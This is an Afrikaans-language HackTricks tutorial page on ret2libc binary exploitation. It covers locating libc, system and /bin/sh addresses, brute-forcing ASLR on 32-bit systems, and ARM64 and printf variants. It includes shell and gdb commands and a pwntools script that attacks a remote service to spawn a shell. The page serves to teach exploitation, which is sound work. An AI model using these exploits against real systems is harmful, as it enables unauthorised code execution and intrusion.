Ret2lib

Reading time: 8 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Basiese Inligting

Die essensie van Ret2Libc is om die uitvoeringsvloei van 'n kwesbare program te herlei na 'n funksie binne 'n gedeelde biblioteek (bv. system, execve, strcpy) in plaas daarvan om aanvaller-geleverde shellcode op die stapel uit te voer. Die aanvaller vervaardig 'n payload wat die terugkeeradres op die stapel aanpas om na die gewenste biblioteekfunksie te wys, terwyl hy ook sorg dat enige nodige argumente korrek opgestel word volgens die aanroepkonvensie.

Voorbeeld Stappe (vereenvoudig)

  • Kry die adres van die funksie om aan te roep (bv. system) en die opdrag om aan te roep (bv. /bin/sh)
  • Genereer 'n ROP-ketting om die eerste argument wat na die opdragstring wys en die uitvoeringsvloei na die funksie oor te dra

Vind die adresse

  • Aannemend dat die libc wat gebruik word die een van die huidige masjien is, kan jy vind waar dit in geheue gelaai sal word met:
bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

As jy wil kyk of die ASLR die adres van libc verander, kan jy doen:

bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Deur die libc wat gebruik word te ken, is dit ook moontlik om die offset na die system funksie te vind met:
bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Deur die libc wat gebruik word te ken, is dit ook moontlik om die offset na die string /bin/sh funksie te vind met:
bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Gebruik gdb-peda / GEF

As jy die gebruikte libc ken, is dit ook moontlik om Peda of GEF te gebruik om die adres van die system funksie, die exit funksie en die string /bin/sh te kry:

bash
p system
p exit
find "/bin/sh"

Gebruik /proc/<PID>/maps

As die proses kinders skep elke keer as jy met dit praat (netwerkbediener), probeer om daardie lêer te lees (waarskynlik sal jy root nodig hê).

Hier kan jy presies waar die libc gelaai is binne die proses en waar dit gelaai gaan word vir elke kind van die proses vind.

In hierdie geval is dit gelaai in 0xb75dc000 (Dit sal die basisadres van libc wees)

Onbekende libc

Dit mag moontlik wees dat jy nie weet watter libc die binêre laai nie (omdat dit dalk op 'n bediener geleë is waar jy geen toegang het nie). In daardie geval kan jy die kwesbaarheid misbruik om sekere adresse te lek en uit te vind watter libc biblioteek gebruik word:

Leaking libc address with ROP

En jy kan 'n pwntools-sjabloon hiervoor vind in:

Leaking libc - template

Ken libc met 2 offsets

Kyk na die bladsy https://libc.blukat.me/ en gebruik 'n paar adresse van funksies binne die libc om die weergawe wat gebruik word uit te vind.

Bypass ASLR in 32-bis

Hierdie brute-forcing aanvalle is slegs nuttig vir 32-bis stelsels.

  • As die eksploit plaaslik is, kan jy probeer om die basisadres van libc te brute-force (nuttig vir 32-bis stelsels):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • As jy 'n afstandsbediening bediener aanval, kan jy probeer om die adres van die libc funksie usleep te brute-force, met 10 as argument (byvoorbeeld). As die bediener op 'n stadium 10s ekstra neem om te antwoord, het jy die adres van hierdie funksie gevind.

Een Gadget

Voer 'n shell uit deur net na een spesifieke adres in libc te spring:

One Gadget

x86 Ret2lib Kode Voorbeeld

In hierdie voorbeeld is ASLR brute-force geïntegreer in die kode en die kwesbare binêre is geleë op 'n afstandsbediening bediener:

python
from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Kode Voorbeeld

Kyk die voorbeeld van:

ROP - Return Oriented Programing

ARM64 Ret2lib Voorbeeld

In die geval van ARM64, spring die ret-instruksie na waar die x30-register wys en nie waar die stapelregister wys nie. Dit is dus 'n bietjie meer ingewikkeld.

Ook in ARM64 doen 'n instruksie wat die instruksie doen (dit is nie moontlik om in die middel van instruksies te spring en hulle in nuwe te transformeer nie).

Kyk die voorbeeld van:

Ret2lib + Printf leak - arm64

Ret-into-printf (of puts)

Dit stel jou in staat om inligting van die proses te lek deur printf/puts aan te roep met spesifieke data as 'n argument. Byvoorbeeld, om die adres van puts in die GOT in 'n uitvoering van puts te plaas, sal die adres van puts in geheue lek.

Ret2printf

Dit beteken basies om 'n Ret2lib te misbruik om dit in 'n printf formaat string kwesbaarheid te transformeer deur die ret2lib te gebruik om printf aan te roep met die waardes om dit te ontgin (klank nutteloos maar moontlik):

Format Strings

Ander Voorbeelde & verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks